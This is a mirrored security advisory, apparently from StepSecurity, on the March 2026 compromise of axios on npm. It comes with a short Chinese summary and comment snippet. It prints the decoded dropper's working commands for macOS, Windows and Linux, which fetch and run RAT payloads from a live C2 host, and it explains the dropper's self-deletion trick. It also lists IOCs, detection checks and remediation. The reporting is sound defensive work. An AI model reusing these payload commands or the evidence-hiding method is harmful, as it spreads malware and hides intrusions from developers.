Axios 在 NPM 上被攻破 – 恶意版本投放远程访问木马
Axios compromised on NPM – Malicious versions drop remote access trojan

原始链接: https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan

## Axios 供应链攻击总结 (2026年3月) 2026年3月,攻击者入侵了一位 Axios 主要维护者的 npm 凭据,发布了流行的 HTTP 客户端库的恶意版本:`[email protected]` 和 `[email protected]`。 攻击绕过了标准的 CI/CD 管道,通过更改维护者的电子邮件后手动发布软件包。 这些版本注入了一个依赖项 `[email protected]`,该依赖项本身并未在 Axios 中使用。 相反,它的 `postinstall` 脚本充当一个跨平台远程访问木马 (RAT) 下发器,目标是 macOS、Windows 和 Linux。 下发器会联系指挥控制服务器,交付特定平台的有效载荷,然后删除自身并替换其 `package.json` 以隐藏入侵证据。 攻击者预先部署了恶意依赖项以避免检测。 受影响的系统应被视为已泄露,需要轮换凭据并分析网络日志。 **用户应立即降级到 `[email protected]` 或 `[email protected]` 并固定这些版本。** 此事件凸显了供应链易受入侵维护者帐户的影响,以及健全安全措施的重要性,包括依赖项监控和网络外向控制。

黑客新闻 新的 | 过去的 | 评论 | 提问 | 展示 | 工作 | 提交 登录 Axios 在 NPM 上被攻破 – 恶意版本投放远程访问木马 (stepsecurity.io) 16 分,mtud 34 分钟前 | 隐藏 | 过去的 | 收藏 | 2 评论 帮助 koolba 0 分钟前 | 下一个 [–] > 这两个版本都是使用被攻破的 Axios 主要维护者的 NPM 凭据发布的,绕过了项目的正常 GitHub Actions CI/CD 流程。 NPM 不是从去年开始强制使用 2FA 吗?它是如何被绕过的?回复 mtud 34 分钟前 | 上一个 [–] 供应链问题持续 指南 | 常见问题 | 列表 | API | 安全 | 法律 | 申请 YC | 联系 搜索:
相关文章

原文

On March 31, 2026, StepSecurity identified two malicious versions of the widely used axios HTTP client library published to npm: [email protected] and [email protected]. Both versions were published using the compromised npm credentials of a lead axios maintainer, bypassing the project's normal GitHub Actions CI/CD pipeline. The attacker changed the maintainer's account email to an anonymous ProtonMail address and manually published the poisoned packages via the npm CLI.

The malicious versions inject a new dependency, [email protected], which is never imported anywhere in the axios source code. Its sole purpose is to execute a postinstall script that acts as a cross platform remote access trojan (RAT) dropper, targeting macOS, Windows, and Linux. The dropper contacts a live command and control server and delivers platform specific second stage payloads. After execution, the malware deletes itself and replaces its own package.json with a clean version to evade forensic detection.

Neither malicious version contains a single line of malicious code inside axios itself. Instead, both inject a fake dependency, [email protected], a package that is never imported anywhere in the axios source, whose only purpose is to run a postinstall script that deploys a cross-platform remote access trojan (RAT). The dropper contacts a live command-and-control server, delivers separate second-stage payloads for macOS, Windows, and Linux, then erases itself and replaces its own package.json with a clean decoy, leaving a developer who inspects their node_modules folder after the fact with no indication anything went wrong.

If you have installed [email protected] or [email protected], assume your system is compromised. Pin to the safe versions: [email protected] (1.x branch) or [email protected] (0.x branch). Rotate all secrets and credentials on affected machines and check network logs for connections to the indicators of compromise listed below.

We are actively investigating this incident and will update this post with a full technical breakdown, including malware analysis, indicators of compromise, and detailed remediation guidance. Stay tuned.

We performed full static and runtime analysis of the malicious packages, including complete decoding of the obfuscated dropper. The malware self-destructs after execution and replaces its own package.json with a clean stub, actively concealing evidence of the attack from post-infection inspection.

Attack Timeline

The attack was pre-staged across roughly 18 hours, with the malicious dependency seeded on npm before the axios releases to avoid “brand-new package” alarms from security scanners:

 2026-03-30 — 05:57 UTC  

[email protected] published by [email protected] — a clean decoy containing a full copy of the legitimate crypto-js source, no postinstall hook. Its sole purpose is to establish npm publishing history so the package does not appear as a zero-history account during later inspection.

 2026-03-30 — 23:59 UTC  

[email protected] published by [email protected]malicious payload added. The postinstall: "node setup.js" hook and obfuscated dropper are introduced.

 2026-03-31 — 00:21 UTC  

[email protected] published by compromised jasonsaayman account (email: [email protected]) — injects [email protected] as a runtime dependency, targeting the modern 1.x user base.

 2026-03-31 — 01:00 UTC  

[email protected] published by the same compromised account — identical injection into the legacy 0.x branch, published 39 minutes later to maximize coverage across both release lines.

Background: What Is axios?

axios is the most popular HTTP client library in the JavaScript ecosystem. It is used in virtually every Node.js and browser application that makes HTTP requests — from React front-ends to CI/CD tooling to server-side APIs. With over 300 million weekly downloads, a compromise of even a single minor release has an enormous potential blast radius. A developer running a routine npm install or npm update would have no reason to suspect the package was deploying malware.

How the Attack Works

Step 1 — Maintainer Account Hijack

The attacker compromised the jasonsaayman npm account, the primary maintainer of the axios project. The account’s registered email was changed to [email protected] — an attacker-controlled ProtonMail address. Using this access, the attacker published malicious builds across both the 1.x and 0.x release branches simultaneously, maximizing the number of projects exposed.

Both [email protected] and [email protected] are recorded in the npm registry as published by jasonsaayman, making them indistinguishable from legitimate releases at a glance.

A critical forensic signal is visible in the npm registry metadata. Every legitimate axios 1.x release is published via GitHub Actions with npm’s OIDC Trusted Publisher mechanism, meaning the publish is cryptographically tied to a verified GitHub Actions workflow. [email protected] breaks that pattern entirely — published manually via a stolen npm access token with no OIDC binding and no gitHead:

// [email protected] — LEGITIMATE
"_npmUser": {
  "name": "GitHub Actions",
  "email": "[email protected]",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}

// [email protected] — MALICIOUS
"_npmUser": {
  "name": "jasonsaayman",
  "email": "[email protected]"
  // no trustedPublisher, no gitHead, no corresponding GitHub commit or tag
}

There is no commit or tag in the axios GitHub repository that corresponds to 1.14.1. The release exists only on npm. The OIDC token that legitimate releases use is ephemeral and scoped to the specific workflow — it cannot be stolen. The attacker must have obtained a long-lived classic npm access token for the account.

Step 2 — Staging the Malicious Dependency

Before publishing the backdoored axios releases, the attacker pre-staged a malicious package on npm: [email protected], published from a separate throwaway account (nrwise, [email protected]). Note the shared use of ProtonMail across both accounts — a consistent operational pattern for this actor.

This package is deliberately designed to look legitimate:

     
  • Masquerades as crypto-js — the same description (“JavaScript library of crypto standards”), the same author attribution (Evan Vosberg), and the same repository URL pointing to github.com/brix/crypto-js
  •  
  • Contains a postinstall hook: "postinstall": "node setup.js" — executes automatically, without any user action, on every npm install
  •  
  • Pre-stages its own evidence destruction — includes a file called package.md, a clean package.json stub (version 4.2.0, no postinstall) ready to overwrite the real manifest after the attack runs

Step 3 — Injecting the Dependency into axios

The attacker published [email protected] and [email protected] with plain-crypto-js: "^4.2.1" added as a runtime dependency — a package that has never appeared in any legitimate axios release. The diff is surgical: every other dependency is identical to the prior clean version.

Dependency comparison between clean and compromised versions:

     
  • [email protected] — follow-redirects, form-data, proxy-from-env [CLEAN]
  •  
  • [email protected] — follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 [MALICIOUS]
  •  
  • [email protected] — follow-redirects, form-data, proxy-from-env [CLEAN]
  •  
  • [email protected] — follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 [MALICIOUS]

When a developer runs npm install [email protected], npm resolves the dependency tree and installs [email protected] automatically. npm then executes plain-crypto-js’s postinstall script, launching the dropper.

Phantom dependency: A grep across all 86 files in [email protected] confirms that plain-crypto-js is never imported or require()’d anywhere in the axios source code. It is added to package.json only to trigger the postinstall hook. A dependency that appears in the manifest but has zero usage in the codebase is a high-confidence indicator of a compromised release.

The RAT Dropper: setup.js — Static Analysis

setup.js is a single minified file employing a two-layer obfuscation scheme designed to evade static analysis tools and confuse human reviewers.

Obfuscation Technique

All sensitive strings — module names, OS identifiers, shell commands, the C2 URL, and file paths — are stored as encoded values in an array named stq[]. Two functions decode them at runtime:

_trans_1(x, r) — XOR cipher. The key "OrDeR_7077" is parsed through JavaScript’s Number(): alphabetic characters produce NaN, which in bitwise operations becomes 0. Only the digits 7, 0, 7, 7 in positions 6–9 survive, giving an effective key of [0,0,0,0,0,0,7,0,7,7]. Each character at position r is decoded as:

charCode XOR key[(7 × r × r) % 10] XOR 333

_trans_2(x, r) — Outer layer. Reverses the encoded string, replaces _ with =, base64-decodes the result (interpreting the bytes as UTF-8 to recover Unicode code points), then passes the output through _trans_1.

The dropper’s entry point is _entry("6202033"), where 6202033 is the C2 URL path segment. The full C2 URL is: http://sfrclak.com:8000/6202033

Fully Decoded Strings

StepSecurity fully decoded every entry in the stq[] array. The recovered plaintext reveals the complete attack:

stq[0]  → "child_process"          // shell execution
stq[1]  → "os"                      // platform detection
stq[2]  → "fs"                      // filesystem operations
stq[3]  → "http://sfrclak.com:8000/"   // C2 base URL
stq[5]  → "win32"                   // Windows platform identifier
stq[6]  → "darwin"                  // macOS platform identifier
stq[12] → "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] → "package.json"            // deleted after execution
stq[14] → "package.md"              // clean stub renamed to package.json
stq[15] → ".exe"
stq[16] → ".ps1"
stq[17] → ".vbs"

Platform-Specific Payloads

The dropper checks os.platform() and branches into one of three attack paths:

macOS AppleScript Dropper

On macOS (darwin), the dropper writes an AppleScript file to the system temp directory and executes it silently:

nohup osascript "<temp_file>" > /dev/null 2>&1 &

The AppleScript contacts the C2 server with POST body packages.npm.org/product0, downloads the macOS RAT binary, saves it to /Library/Caches/com.apple.act.mond (a path designed to look like a legitimate Apple system cache entry), makes it executable with chmod 770, and launches it in the background via /bin/zsh:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
  -d packages.npm.org/product0 \
  -s http://sfrclak.com:8000/6202033 \
  && chmod 770 /Library/Caches/com.apple.act.mond \
  && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
  &> /dev/null"

The AppleScript file is deleted after execution. The only persistent artifact is /Library/Caches/com.apple.act.mond. The path is deliberate: /Library/Caches/ is a system-owned directory rarely inspected during incident response, and the name com.apple.act.mond mimics Apple’s reverse-DNS daemon naming convention — the suffix likely abbreviates “Activity Monitor Daemon” to blend in with legitimate Apple background processes in the same directory.

Windows VBScript + PowerShell Dropper

On Windows (win32), the attack chain involves three stages:

     
  1. Run where powershell to locate the PowerShell binary path
  2.  
  3. Copy the PowerShell binary to %PROGRAMDATA%\wt.exe — disguised as the Windows Terminal executable, providing a persistent copy of the interpreter
  4.  
  5. Write a VBScript (.vbs) to the temp directory and execute it via cscript //nologo

The VBScript runs a fully hidden cmd.exe window (0, False suppresses all UI):

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST " & _
  "-d ""packages.npm.org/product1"" " & _
  """http://sfrclak.com:8000/6202033"" > ""<temp.ps1>"" " & _
  "& powershell -w hidden -ep bypass -file ""<temp.ps1>"" " & _
  """http://sfrclak.com:8000/6202033"" & del ""<temp.ps1>"" /f", 0, False

The C2 returns a PowerShell RAT script, saved to %TEMP%\6202033.ps1 (using the campaign ID as filename). It runs with -ExecutionPolicy Bypass and -WindowStyle Hidden, then self-deletes. The VBScript (%TEMP%\6202033.vbs) is also deleted by cscript after execution. The only persistent artifact is %PROGRAMDATA%\wt.exe.

Linux Python Dropper

On all other platforms (Linux, etc.), the dropper executes a direct shell command via Node.js’s execSync:

curl -o /tmp/ld.py \
  -d packages.npm.org/product2 \
  -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

The C2 returns a Python RAT script. It is saved to /tmp/ld.py and executed in the background with nohup. The file remains on disk at /tmp/ld.py.

Three products, one C2: Each platform sends a distinct POST body to the same C2 URL — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux). This allows the C2 server to serve a platform-appropriate payload in response to a single endpoint. The packages.npm.org/ prefix in the POST body is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs and SIEM rules at a glance.

Self-Cleanup — Hiding the Evidence

After launching the platform payload, setup.js performs three forensic cleanup steps that make standard post-infection analysis unreliable:

     
  1. Deletes itselffs.unlink(__filename) removes setup.js from the installed package directory
  2.  
  3. Deletes package.json — removes the file that contains the incriminating "postinstall": "node setup.js" hook
  4.  
  5. Renames package.md to package.json — the pre-staged clean stub (version 4.2.0, no postinstall, no setup.js reference) is moved into place

Any post-infection inspection of node_modules/plain-crypto-js/package.json will show a completely clean manifest. There is no postinstall script, no setup.js file, and no indication that anything malicious was ever installed. Running npm audit or manually reviewing the installed package directory will not reveal the compromise.

Why the directory presence still matters: Even after cleanup, the existence of node_modules/plain-crypto-js/ is sufficient evidence of compromise — this package is not a dependency of any legitimate axios version. If you find this directory, the dropper ran.

Indicators of Compromise

Malicious npm Packages

Network Indicators

     
  • C2 domainsfrclak.com
  •  
  • C2 IP142.11.206.73
  •  
  • C2 URLhttp://sfrclak.com:8000/6202033
  •  
  • C2 POST body — macOSpackages.npm.org/product0
  •  
  • C2 POST body — Windowspackages.npm.org/product1
  •  
  • C2 POST body — Linuxpackages.npm.org/product2

File System Indicators

     
  • macOS/Library/Caches/com.apple.act.mond
  •  
  • Windows (persistent)%PROGRAMDATA%\wt.exe
  •  
  • Windows (temp, self-deletes)%TEMP%\6202033.vbs
  •  
  • Windows (temp, self-deletes)%TEMP%\6202033.ps1
  •  
  • Linux/tmp/ld.py

Attacker-Controlled Accounts

     
  • jasonsaaymanCompromised legitimate axios maintainer account — email changed to [email protected]
  •  
  • nrwiseAttacker-created account — [email protected] — published plain-crypto-js

Safe Version Reference

Am I Affected?

Check for the malicious axios versions in your project:

npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"

Check for plain-crypto-js in node_modules:

ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"
If setup.js already ran, package.json inside this directory will have been replaced with a clean stub. The presence of the directory is sufficient evidence the dropper executed.

Check for RAT artifacts on affected systems:

# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"

# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED"

 "COMPROMISED"

# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED

Check CI/CD pipeline logs for any npm install executions that may have pulled [email protected] or [email protected]. Any pipeline that installed either version should be treated as compromised and all injected secrets rotated immediately.

Remediation

     
  1.    Downgrade axios to a clean version and pin it:    npm install [email protected]   # for 1.x users

    npm install [email protected]   # for 0.x users

       

    Add an overrides block to prevent transitive resolution back to the malicious versions:    

    {
     "dependencies": { "axios": "1.14.0" },
     "overrides":    { "axios": "1.14.0" },
     "resolutions":  { "axios": "1.14.0" }
    }  

  2.  
  3.    Remove plain-crypto-js from node_modules:    

    rm -rf node_modules/plain-crypto-js
    npm install --ignore-scripts

     
  4.  
  5.    If a RAT artifact is found: treat the system as fully compromised. Do not attempt to clean in place — rebuild from a known-good state.  
  6.  
  7.    Rotate all credentials on any system where the malicious package ran: npm tokens, AWS access keys, SSH private keys, cloud credentials (GCP, Azure), CI/CD secrets, and any values present in .env files accessible at install time.  
  8.  
  9.    Audit CI/CD pipelines for runs that installed the affected versions. Any workflow that executed npm install with these versions should have all injected secrets rotated.  
  10.  
  11.    Use --ignore-scripts in CI/CD as a standing policy to prevent postinstall hooks from running during automated builds:  

     npm ci --ignore-scripts  

  12.  
  13.    Block C2 traffic at the network/DNS layer as a precaution on any potentially exposed system:  

     # Block via firewall (Linux)
    iptables -A OUTPUT -d 142.11.206.73-j DROP

    # Block via /etc/hosts (macOS/Linux)
    echo "0.0.0.0 sfrclak.com" >> /etc/hosts  

  14.  

How StepSecurity Helps

StepSecurity provides end-to-end npm supply chain security across three pillars: Prevent, Detect, and Respond. Here’s how each would have helped in this attack — and how they protect you against the next one. (Full documentation)

 Prevent — Block Malicious Packages Before They Enter Your Codebase  

       
  • npm Package Cooldown Check — Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within 24 hours, this creates a crucial safety buffer. In this case, [email protected] was published hours before the axios releases — any PR updating to [email protected] or [email protected] during the cooldown period would have been blocked automatically.    
  •    
  • npm Package Compromised Updates Check — StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously — often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. Both [email protected] and [email protected] were added to this database within minutes of detection.    
  •    
  • Harden-Runner Egress Network Restrictions — Filters outbound network traffic during workflow execution, blocking all undeclared endpoints. Both DNS and network-level enforcement prevent covert data exfiltration. The C2 callback to sfrclak.com:8000 and the payload fetch in the postinstall script would have been blocked at the network level before the RAT could be delivered.    
  •  

 Detect — Continuous Visibility Across PRs, Repos, and Dev Machines  

       
  • Threat Intelligence + AI Package Analyst — Continuously monitors the npm registry for suspicious releases. In this case, both [email protected] and [email protected] were flagged within minutes of publication — giving teams time to investigate, confirm malicious intent, and act before the packages accumulated significant installs. Alerts include the full behavioral analysis, decoded payload details, and direct links to the OSS Security Feed.    
  •    
  • npm Package Search — Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius — which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.    
  •    
  • Harden-Runner Network Baselines — Automatically logs outbound network traffic per job and repository, establishing normal behavior patterns and flagging anomalies. Reveals whether malicious postinstall scripts executed exfiltration attempts or contacted suspicious domains — even when the malware self-deletes its own evidence afterward.    
  •  

StepSecurity Threat Center delivers real-time threat intel advisories to customers with direct links to search for affected packages across their organization. npm Package Search lets customers instantly check if compromised versions were introduced in any PR, default branch, or developer machine across their organization.

 Respond — Investigate Incidents and Assess Organization-Wide Impact  

       
  •      Threat Center — Real-time alerts about compromised packages, hijacked maintainers, and emerging attack campaigns delivered directly into existing SIEM workflows. Alerts include attack summaries, technical analysis, IOCs, affected versions, and remediation steps — everything needed to triage and respond immediately.    
  •    
  •      Coordinated Remediation — Combines threat intel, package search, and network baselines to create a prioritized list of affected repositories with consistent guidance, enabling coordinated fixes across dozens or hundreds of repositories simultaneously.    
  •  

Protect your pipelines: AI Package Analyst monitors every npm and PyPI publish in real time, scoring packages for supply chain risk before you install them. Harden-Runner enforces a network egress allowlist in GitHub Actions, blocking C2 callbacks and unexpected outbound connections even when a malicious package slips through.

联系我们 contact @ memedata.com